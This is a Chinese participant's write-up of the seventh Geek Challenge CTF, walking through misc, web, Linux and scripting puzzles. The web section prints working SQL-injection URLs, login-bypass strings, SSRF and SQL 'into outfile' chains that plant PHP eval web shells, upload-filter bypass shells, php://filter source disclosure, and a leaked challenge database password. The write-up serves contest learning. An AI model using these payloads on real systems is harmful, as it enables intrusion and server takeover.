第七季极客大挑战

第一次参加这样的比赛,写个write up平复一下心情

MISC

闪得好快

第一次用火狐打开发现是一堆乱码,然后换用360变成了一个下载链接,是一个gif图,像素应该是280*280,改下像素,然后分帧,得到单个的图片,一个一个的扫码。

Come_game

第一次做直接玩通关了,竟然真的有flag,但是我死了400多次= =,仔细去审下题,有一个save存档,把000132直接改为000135即可通关。

snow

提示为html隐写,好吧百度一下,有个链接snow html隐写
进去把网页跟key输进去即可得到flag

旋转跳跃

提示有key,然后是音频文件,想到用MP3Stego

解密可得到一个txt文件里面就是flag

凯撒部长的奖励

一长串凯撒密码,分享一个链接凯撒密码解密可以把26种情况全部列出来

MD5cracker

放到MD5解密里面说不说正常的MD5,然后看了下确实是32位,发现有一个字符是|将其改为1,得出flag

PEN_AND_APPLE

提示与type有关,并没有想到其他的东西,然后RcoIl同学提示说是NTFS流文件,百度一下,原来type命令可以隐藏信息

type 2.txt>1.txt: shujuliu.txt,回车.即可将文件2.txt的内容加入1.txt, 内容以数据流方式保存,该数据流名为shujuliu.txt

用alternatestreamview可以提取出里面的东西发现有张flag图片

藏着小秘密的流量包

下载发现是一个14M的流量包,感觉很奇怪,也太大了吧,放到kali里面用binwalk查一下发现里面藏了好多东西,然后foremost提取一下,得到一个flag的压缩包解压就可得到flag

WEB

web_1

考基础知识,查看响应头发现flag在里面

web_2

进去发现说我不是admin,然后用burpsuite抓下包,把邮箱改为admin发现还是不行,看到后面有个root应该是权限的意思将0改为1,便得到了flag

Social Engineeing

之前思路一直是在找百度id上面,以为要从百度id里面得到帖子,里面有flag= =,却忘了最重要的社工库,还好RcoIl同学告诉我,从社工库里面找到名字然后,域名,然后进行whois查询,具体流程如下:
通过挂VPN访问社工库http://s.70sec.com/ 得到邮箱名字为肖力,然后去百度贴吧发现有一个肖力吧里面写了一个qq号,刚开始以为加qq就能得到flag,跟他私聊并没有理我= =,然后看到资料里有个域名通过whois反查得到邮箱Google一下邮箱发现有一个奇怪的电话号码,想起题目里也有一个电话号码,提交即是flag

sql1

通过联合查询获取到表名与列名
查字段

?sycid=-2 union select 1,2,3
select * from syc where sycid=-2 union select 1,2,3
1->3->2 

获取数据库名

?sycid=-2 union select 1,2,database()
1->sycsqli1->2 

获取表名

?sycid=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='sycsqli1'
1->#FL4G#,syc->2  

获取列名

?sycid=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='%23%46%4C%34%47%23'
1->id,flag->2 

然后进行flag查询

?sycid=-2 union select 1,2,flag from %23%46%4C%34%47%23

并出不来结果#被当做了注释符
放到sqlmap里面跑一下

-u http://web.sycsec.com/d03e52c272e42e7c/?sycid=1 --dump -C flag -T #FL4G# -D sycsqli1

爆出flag

sql2

发现是post型的先试下admin登录提示Login Failed,看下post的数据发现有个debug将0改为1出现了查询语句,然后考虑下构造万能密码

username=admin or 1=1 #
&password=dasd
&debug=1

爆出信息为

SQL query: SELECT * FROM users WHERE username='admin or 1=1 #' AND password='dasd'

注释符应该是被过滤掉了不能正常进行注释,然后考虑进行单引号完美闭合,不用注释符

username=admin' or '1'='1 
&password=dasd
&debug=1

得到flag

127.0.0.x

后面好多滴滴滴啊,刷新一下发现滴滴滴的数目会变换,然后用Python数下数目滴滴滴的数目在50-55之间随机,滴滴滴的数目应该就是x的值。试下得到flag

php_is_fun

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){  //path不能存在../防止跨文件上传
    die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){ //file开头应为http://127.0.0.1/
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}

最开始的想法是直接在file=http://127.0.0.1 后面加一句话

http://game.sycsec.com:50084/?file=http://127.0.0.1/%3C?php%2520eval($_POST[%27shell%27]);?%3E&path=123.php

发现都被过滤掉了,然后看了下RcoIl的payload

http://game.sycsec.com:50084/?file=http://127.0.0.1/?file=http://127.0.0.1/%26path%3D%3C?php%2520eval($_POST[%27shell%27]);?%3E&path=shell.php

可以先尝试访问下

http://game.sycsec.com:50084/?file=http://127.0.0.1/&path=%3C?php%2520eval($_POST[%27shell%27]);?%3E

然后查看源代码发现它把一句话当做上传目录了然后在进行一次file path上传就把这个url作为了file上传,从而将一句话写入到了upload里
用木马连下就得到flag
借鉴RcoIl的话:
由于服务器在接收GET参数的时候本身就会对参数进行一次URL解码 , 因此需要对file参数进行两次URL编码然后再进行传递,其实这里有问题就只是空格,空格URL编码后为%20,但是因为这里进行了两次URL解码因此需要将空格的URL编码再进行编码最后再传递,其实也只需要对%20中的%进行URL编码是%25
补充一个get知识

在http协议中GET请求中如果包含多个参数 , 参数之间使用&分隔 , 因此这里要对file参数中的&进行处理 , 或者因为file就是一个完整的参数 , 可以将其整体进行URL编码 , 然后再进行参数的传递

撸啊撸

刚开始做这个题目,提示说任意下载,然后右键保存图片,出来一个png文件,一脸懵逼.PNG,想半天不知道怎么做,然后就去看了下RcoIl哥哥的write up,说发现一个download.php,然而我还是没有发现= =,点了下图片,发现是可以点的,WTF,Isron卒。
因为是任意下载啦,就用download.php把源码下载下来。

http://lol.sycsec.com/download.php?display.php

源码:

<?php
    error_reporting(0);
    $config = include "config.inc.php";

    if (isset($_GET['id'])){
        $id = intval($_GET['id']);
        $conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);

        if (mysqli_connect_errno($conn)){
            die("Can not connect mysql!".mysqli_connect_error());
        }

        $sql = "SELECT path FROM images WHERE id={$id}";
        $result = mysqli_query($conn,$sql);
        $row = mysqli_fetch_array($result,MYSQLI_ASSOC);
        $path = $row['path'];
    } else{
        die('Missing parameter id');
    }
?>

发现有一个include函数:

include说明:
在 PHP 中,您能够在服务器执行 PHP 文件之前把该文件插入另一个 PHP 文件中。

也就是说还有一个cofig.inc.php文件,接着下载:

<?php
return array(
    'db_host' => 'localhost',
    'db_user' => 'syclol',
    'db_pwd' => 'fJBGpEfu3wWLvNHB',
    'database' => 'syclol'
);

发现是一个数据库信息,说明是存在注入的,抓下包发现有一个api.php去获取图片,那就接着下载吧= =

<?php
    error_reporting(0);
    include "json.php";
    $config = include "config.inc.php";

    if (isset($_GET['img_first']) and isset($_GET['img_num'])){
        $img_first = $_GET['img_first'];
        $img_num = $_GET['img_num'];
        $conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);

        if (mysqli_connect_errno($conn)){
            die("Can not connect mysql!".mysqli_connect_error());
        }

        $check = is_numeric($img_num) and is_numeric($img_first);

        if (!$check){
            $img_num = intval($img_num);
            $img_first = intval($img_first);
        }

        $sql = "SELECT * FROM images LIMIT $img_first,$img_num";
        $result = mysqli_query($conn,$sql);

        $i = 0;
        while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
            $rows[$i] = $row;
            $i++;
        }
        $json = new Services_JSON();
        echo $json->encode(array('result'=>$rows));
        //echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
    }else {
        die("Missing parameter img_first or img_num");
    }

发现有sql语句:

$sql = "SELECT * FROM images LIMIT $img_first,$img_num";

引用下我大哥的话:

既然是程序和用户交互的地方,因为这种地方在参数传递的时候没有对参数的类型和正确性进行判断,那就会留给我们利用的余地。
$check = is_numeric($img_num) and is_numeric($img_first);
if (!$check){
        $img_num = intval($img_num);
        $img_first = intval($img_first);
根据运算优先级知道,$check 这个变量的值就只取决于 $img_num.所以只要满足$img_num,就相当于$check也满足了。而剩下的$img_first就可以用来构造我们所需要的语句了。

最开始的思路是通过注入爆出flag,然后发现出了一堆没用的数据,我大哥的一航同学说,能注入,可以试着利用注入去写入= =,之前我是学过这部分的,咋没想到呢,还是做太少了。。。。
然后通过:

http://lol.sycsec.com/api.php?img_num=0&img_first=0%20union%20select%201,@@datadir--+

爆出数据库的路径是\/var\/lib\/mysql发现是linux系统,然后用默认路径去试下

http://lol.sycsec.com/api.php?img_num=0&img_first=0%20union%20select%201,%22%3C?php%20eval($_POST[%27admin%27]);?%3E%22%20into%20outfile%20%22/var/www/html/wer.php%22--+

并没有写入,然后试下images文件夹

http://lol.sycsec.com/api.php?img_num=0&img_first=0%20union%20select%201,%22%3C?php%20eval($_POST[%27admin%27]);?%3E%22%20into%20outfile%20%22/var/www/html/images/wer.php%22--+

写入成功 菜刀连接得到flag

上传(1)

尝试各种文件路径 00截断,都不行,因为之前做过百度杯的上传,试了下pht,发现提示离答案更近一步,百度了一下pht上传绕过发现相同的有

php3、php4、php5、phtml、pht

试前面几个还是离答案更近,最后试了下phtm得到flag,在linux里,上面的都可以解析为php文件。

上传(2)

第一个题目做出来之后给了一个url,去访问了一下发现是自己之前上传的东西,想到去构造一句话木马连接。然后上传一句话访问一下得到了一个

eval($_POST['admin'])

可以得知php被过滤了,因为之前百度杯做过一样的题目,所以用当时的绕过php的一句话

<script language="phP"> @eval($_POST['1111']);</script>
<script language="PHP">require_once("$_POST[id]") ;</script>

有两个,百度杯是第二个,这个题目是第一个,所以都写下来吧。
连接得到flag

人生苦短

根据题目可以得知这题需要用Python,因为 人生苦短,我用Python 嘿嘿嘿 根据提示得到一大串base编码,先用base64解了下发现是乱码,因为在南邮上有相似的题想到base64,32,16混合加密,用Python试了下,发现是base32跟base64的混合加密
写个小程序跑下得到flag

import base64
code1 = 'base编码'
for i in range(0,10):
    code2 = base64.b32decode(code1)
    code1 = base64.b64decode(code2)
print(code1)

狗师傅的计算机

进入链接得到一串神秘代码,百度一下得知是brainfuck代码,然后找一个brainfuck编码器解出这一串代码为welcome.php,根据提示进到一个syc.php界面,并找不到flag,然后扫了下这个url发现他的robots.txt是开着的,进入得到源代码

<?php
//竟然知道brain fuck 和 robots.txt 狗师傅咬你哦 -.-
//这时候狗师傅叼着下面的源码冲到你的面前,审啊,审不出就咬
//-.-
    $num1=$_REQUEST['num1'];

    $num2=$_REQUEST['num2'];

    $oper=$_REQUEST['oper'];

    $str=$_GET['syc'];

    $pos=strpos($str,'/');    
    if(0===$pos)
    {
        die('Do not hack master go :)');
    }
    if(strpos($str ,'..') > -1 || strops($str , '=/') > -1){
    die('Do not hack master go :)'); 
    }

    $result=include($str . ".php");

    //echo $str;

    $res=0;
    switch($oper){
        case "+":
            $res=$num1+$num2;
            break;
        case "-":
            $res=$num1-$num2;
            break;
        case "*":
            $res=$num1*$num2;
            break;
        case "/":
            $res=$num1/$num2;
            break;
        default:
            echo '<br/>no data!';

    }
    echo '<br/>result='.$res ;

?> 
<br/>
<a href="syc.php">算对了你也找不到flag -.-</a>
<br/>
<a
href="robot.txt">你对php实现计算器感兴趣么,来这里看看
:) </a>

审计发现有一个get请求并且过滤掉了../,想到文件包含用php filter流的文件包含构造如下payload

http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc.php

然后返回no data = =
重新看下编码发现 $result=include($str . “.php”); 也就是说会自动加上.php,重新构造

http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc

得到syc.php的源代码的base64编码,解码得到flag

你是人间四月天

抓包发现url为

http://game.sycsec.com:50080/9392d16bb9fbda00/index.php?sel=no

把no改成yes得到

算你识相
但是你还是不相信我是百度!!!

想到应该去伪造一个百度,之前在南邮上面做过Google的是在referer里面伪造Google,这个试了下不行,提示说headers host 知道了应该去伪造host内容,然后得到一个新界面url为

http://game.sycsec.com:50080/9392d16bb9fbda00/index.php?selfjtfwef=yes

这次把yes改为no得到flag
headers host:

一个IP地址可以对应多个域名: 一台虚拟主机(服务器)只有一个ip,上面可以放成千上万个网站。当对这些网站的请求到来时,服务器根据Host这一行中的值来确定本次请求的是哪个具体的网站

Linux

linux1,2

题目提示的是docker镜像,因为从来没接触过docker,所以去百度了一下,原来是linux下的一个容器,我自己的虚拟机只有kali,跟redhat,都没有docker,然后百度下centos跟Ubuntu比较支持docker,之前接触了一点Ubuntu所以就去下载了一个ubuntu= =,然而并不会用,还好RcoIl哥哥给了我一个关于docker使用的网站,那就分享一下啦docker基础命令
列一下我这次用到的命令

sudo apt-get install docker //安装docker
docker load -i geek_linux.tar //载入镜像
docker images -a  //查看所有镜像
docker run -i -t IMAGE ID  //根据刚才查到的ID,去运行镜像

运行镜像完成后去遍历了一下目录,在/usr/local/etc/里面有一个geek目录,然后ls并没有东西出来,RcoIl哥哥是用find -name “.*”查了下是不是隐藏文件,然后用vim打开,我就比较暴力了,直接去压缩包里面看了下有一个.flag的文件打开就得到了flag= =
然后让接着找有一个flag文件,就在root目录下找到了一个F1Ag2.swp,百度了一下,是vim异常退出产生的临时文件

vim -r F1Ag2.swp  //恢复swp文件

打开得到flag

Program

compress300

解压300次,先是用zipfile 提示不是zip文件,然后去获取了一下文件类型,得到文件类型为tar,当时不知道有tarfile这个函数,然后看下RcoIl的脚本,得知还有tarfile,刚开始还以为要改后缀名,后来发现Python可以自动识别,然后用脚本进行解压,发现解压到295就停止了,看下295的源码发现是zip文件,得到300个应该有zip,有tar,直接借鉴RcoIl哥哥的脚本:

import tarfile
import zipfile
for i in range(1,301)[::-1]: #循环一次i减一
    path=str(i)
    try:                          #解压tar
        tar = tarfile.open(path) 
        tar.extractall()
    except:
        pass
    try:                          #解压zip
        zip = zipfile.ZipFile(path)
        zip.extractall()
    except:
        pass

单身二十年

根据题目可知要写一个脚本,去获取@值并上传,直接上脚本吧

import requests
s=requests.session()
url='http://web.sycsec.com/0b3a7c6ca7f1f2e6/'
url2='http://web.sycsec.com/0b3a7c6ca7f1f2e6/judge.php'
qqq=s.get(url).content #通过requests获取到网页源代码
a = qqq.count('@')-1   #利用count计数器获取@值
post = {'mytext':a}    #构造post数据
q = s.post(url2,data=post) #上传post数据到url2
print q.content.decode('utf-8') #输出返回值

米有做出来的题目

我好菜啊_杂项部分

拿到题目知道是异或,也知道异或需要两个文件才能进行,看了write up才想到去找一个正常的png图片去进行异或= =用到的脚本

file_a=open('s.png','rb')  
file_b=open('l.png','rb')  

a=file_a.read()  
b=file_b.read()  

s=''  
for i,j in zip(a,b):  
s+=chr(ord(i)^ord(j))  
print s

皓宝宝的留言板

还没有搞明白,先把官方给的payload贴上

<body onload=”eval(Sting.fromCharCode(编码后的东西))”></body>

打这个比赛最要感谢的人就是RcoIl啦,从他那里学到了好多我之前都不知道的东西,syc给我最大的礼物就是认识了你,顺便说下 The dream is to be realized